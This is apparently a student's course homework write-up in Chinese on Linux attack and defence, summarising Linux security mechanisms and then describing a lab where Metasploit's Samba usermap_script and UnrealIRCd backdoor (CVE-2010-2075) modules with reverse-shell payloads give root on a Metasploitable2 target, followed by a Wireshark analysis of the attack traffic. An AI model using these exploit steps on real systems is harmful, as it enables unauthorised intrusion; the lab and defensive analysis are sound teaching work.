問題 | 回答 |
---|---|
這個做業屬於哪一個課程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
這個做業的要求在哪裏 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635 |
我在這個課程的目標是 | 學習教材第八章,瞭解Linux操做系統的網絡攻防技術 |
這個做業在哪一個具體方面幫助我實現目標 | 相關知識點和實踐任務 |
linux操做系統的整體結構以下圖所示,在Linux內核中,在硬件抽象層中的各種設備驅動 和序能夠徹底訪問硬件設備,方便地以模塊化形式設置,並在系統運行期間可直接經過 LKM 機制(Loadable Kernel Module)裝載或卸載。在硬件抽象層之上是內核服務功能模塊,包括進程管理、內存管理、文件系統、設備控制與網絡這五個子系統;而這些內核模塊經過系統調用接口向用戶態的GNU運行庫及工具、命令行Shell、X窗口以及應用軟件提供服務。
linux
Linux進程與線程管理機制:Linux 內核採用搶佔式多用戶多進程(multiprocessing)模式,多個進程併發活動,由內核的進程管理模塊來負責調度硬件資源進行使用。web
Linux內存管理機制:Linux內存管理模塊(MM)容許多個進程安全地共享物理內存區域,每一個進籽使用兩套段描述符來分別訪問內核態和用戶態的內存空算法
Linux 的文件系統管理機制:Linux 內核使用了虛擬文件管理 VFS (Virtual File System) 機制,VFS 虛擬文件管理爲用戶進程提供了一組通用的文件系統調用函數(包括open 、close、read 、write 等),能夠對不一樣文件系統中的文件進行統一的操做。shell
Linux 的設備控制機制:Linux 內核中處理或者管理硬件控制器的軟件叫作設備驅動程序。Linux 核心的設備驅動程序本質上是特權的、駐留內存的低級的硬件控制例程的共享庫。Linux 的一個基本特色是抽象了設備的處理,全部的硬件設備都像常規文件同樣看待。apache
Linux 的網絡機制:Linux 內核中的網絡模塊提供了對各類網絡標準的存取和各類網絡硬件的支持。網絡接口可分爲網絡協議棧和網絡驅動程序。
安全
Linux 內核經過上述五個方面的機制實現了操做系統基本的硬件管理與系統功能,這些內核模塊都運行在 CPU 的核心態, 而應用程序則運行於用戶態,它們並不能直接訪問內核內存空間,也不能直接調用內核函數。Linux 提供了系統調用接口, 來容許應用程序透過這層接口來訪問硬件設備和其餘系統資源,這有助於保證 Linux 系統的穩定可靠和安全併爲用戶空間提供了一種統一的抽象接口,有助於應用程序的跨平臺移植。網絡
與 Windows 操做系統相似,Linux 操做系統的核心安全機制也主要是身份認證、受權與訪問控制、安全審計這三個部分。併發
Linux 是一個多用戶多任務的操做系統,經過建立多種角色類型的用戶及用戶組來實施用戶身份管理,來確保多個用戶安全地使用 Linux 操做系統。框架
linux 用戶:tcp
Linux 用戶組:具備相同特徵的用戶帳號集合,用於簡化整個系統的用戶權限理。 Linux 用戶組信息保存在 /etc/gshadow 文件中,可使用 id -a 來進行查詢當前用戶所屬用戶組。
Linux 的遠程登陸用戶認證機制:第一種方式爲基於口令的身份認證,使用 Linux 系統內建的用戶帳號和口令,就能夠登陸到遠程主機上;第二種方式爲基於非對稱密鑰的身份認證。此外 Linux 系統中的大量網絡服務都實現了本身的身份認證機制,如 MD5 散列、LANMAN\NTLM 散列算法等等。
Linux統一身份認證中間件 PAM:PAM 提供一些動態連接庫和一套統一的 API,將系統提供的服務和該服務的認證方式分開。PAM 支持的四種管理界面:認證管理,帳戶管理,密碼管理,會話管理。
全部文件與設備資源的訪問控制都經過 NFS 虛擬文件系統來實現
文件的全部者:每一個 Linux 文件都擁有其全部者,代表了該文件屈於哪一個用戶全部,以文件全部者的 uid 以及文件全部者所在組的 gid 來指明。
文件的訪問權限:文件訪問權限經過附帶的10個標誌位來來進行設置。第一位表示文件類型,二到九位每三位分紅一組。組內三位分別表示,讀取權限、寫入權限和執行權限。三組分別表明全部者、全部組和全部用戶。
文件的特殊執行權限:SUID與SGID權限,SUID 權限容許可執行文件在運行時刻從運行者的身份提高至文件全部者權限,能夠任意存取文件全部者能使用的所有系統資源,設置了 SGID 位的程序執行時是以全部者的組的權限進行運行,該程序就能夠任意存取整個用戶組可以使用的系統資源。
Linux訪問控制機制的不足及改進:訪問權限的細粒度不足,不支持完整的ACL訪問控制列表設置。
Linux的安全審計機制則主要經過三個主要的日誌子系統來實現:鏈接時間日誌、進程統計日誌和錯誤日誌紀錄。
攻擊者首先利用踩點、掃描和查點等技術手段來收集關於目標 Linux 系統的信息, 而後攻擊者從遠程網絡發掘某個監聽網絡服務中的安全漏洞或配置弱點,來獲取本地 Shell 訪問權,而一旦得到 Shell 訪問權,攻擊者就已經在目標 Linux 系統上得到了立錐之地,而轉入本地攻擊的環節。
攻擊者在利用前面介紹的遠程滲透攻擊技術在Linux系統上得到訪問權以後,就開始
轉入本地攻擊,接下來要進行本地特權提高攻擊來提高他的訪問權限,以後經過清理 Linux 系統事件日誌來消蹤滅跡,避免被系統管理員所發覺和追查,最後在離開他們攻陷的系統以前,還會植入後門程序,來確保他們之後可以輕易地重返這臺系統。以下圖所示
使用 Metasploit 滲透測試軟件,攻擊 Linux 靶機上的 Samba 服務 usermap_script 安全漏洞,獲取目標 Linux 靶機的主機訪問權限。實踐步驟以下:
本次實驗所採用的攻擊機爲kail linux,靶機爲 Metasploitable2-Linux,ip地址以下表所示
主機名稱 | ip地址 |
---|---|
kail | 192.168.200.3 |
linux | 192.168.200.125 |
首先,經過命令msfconsole
啓動滲透軟件
經過命令user exploit/multi/samba/usermap_script
使用滲透攻擊模塊,同時使用show options
查看須要配置的參數
設置攻擊的PAYLOAD
爲cmd/unix/reverse
,同時設置攻擊的RHOSTS
爲靶機地址192.168.200.125,和LHOST
爲192.168.200.3
使用命令exploit
進行攻擊,攻擊成功
經過命令whomai
查看當前權限帳戶,發現當前權限帳戶爲 root
攻防對抗實踐: 攻擊方使用 Metasploit 滲透軟件針對 Linux Metasploitable 靶機實施網 絡攻擊,防護方則在 Metasploitatble 上使用 tcpdump 或 Wireshark 或 Snort 工具捕獲攻擊流,並分析出攻擊者利用了哪一個安全漏洞進行攻擊,從官方網站上下載該安全漏洞補丁進行系統修補,雙方合做給出攻防過程報告。
攻擊過程:
首先使用 nmap 掃描靶機,查看開放的端口,及端口上的服務,命令nmap -sV 192.168.200.125
而後使用 nessus 掃描靶機的相關漏洞
(到這裏時發生了一個問題,就是個人 kail 不知道爲何崩潰了,再次開機就無限登錄就是進不去......,試了一下午的解決方法都沒用,最後只能重裝系統了,心累)
選擇UnrealIRCd Backdoor Detection
漏洞,漏洞編號爲CVE-2010-2075
,網上搜索資料顯示,這個漏洞原理爲在DEBUG3_DOLOG_SYSTEM宏中引入外部的修改(特洛伊木馬),遠程攻擊者能夠執行任意命令。
在 kail 中使用命令search CVE-2010-2075
搜索可用模塊
使用命令use exploit/unix/irc/unreal_ircd_3281_backdoor
設置攻擊模塊,和命令show payloads
查看可用載荷
選擇載荷cmd/unix/reverse
,同時使用show options
查看所需配置
配置RHOSTS
和LHOST
(靶機地址和攻擊機地址,分別爲192.168.200.125和192.168.200.10)
exploit
執行
攻擊成功
首先查看一下當前用戶的權限whoami
,是 root 權限
而後查看一下靶機的網絡配置
分析過程
因爲靶機上沒有 wireshark 工具,因此在 kail 上攻擊的同時打開 wireshark 分析,分析過程以下所示
首先由捕獲的數據包可知,ip 地址爲192.168.200.10的主機的不少不一樣的端口向 ip 地址爲192.168.200.125的主機的6667端口發送了不少數據包,所以能夠肯定攻擊機的 ip 地址爲192.168.200.125,目標主機的 ip 地址爲192.168.200.125,目標端口爲6667號端口
同時查看數據包詳細信息能夠獲得攻擊時間爲4月20日,20點45分
接着上網搜索一下 linux 關於6667端口的信息,首先發現6667端口上提供 Internet 多線交談服務(IRC),接着發如今6667端口上有一個關於 ircd 服務的漏洞 msf利用Metasploitable 2 漏洞之6667端口之unreal_ircd_3281_backdoor,再根據捕獲的數據包中有關於 IRC 協議的數據包,攻擊者大機率使用的是這個漏洞
追蹤 TCP 流,能夠發現攻擊者使用的shellcode
以及攻擊者在靶機上執行的命令,有ls
、ifconfig
和whoami
分析完成
經過學習教材和實踐初步瞭解了對於 linux 系統的攻防技術。因爲實踐過程當中出現了上述一點小麻煩,此次感受心態有一點小崩。
網絡攻防技術與實踐
msf利用Metasploitable 2 漏洞之6667端口之unreal_ircd_3281_backdoor
UnrealIRCd 後門未受權訪問漏洞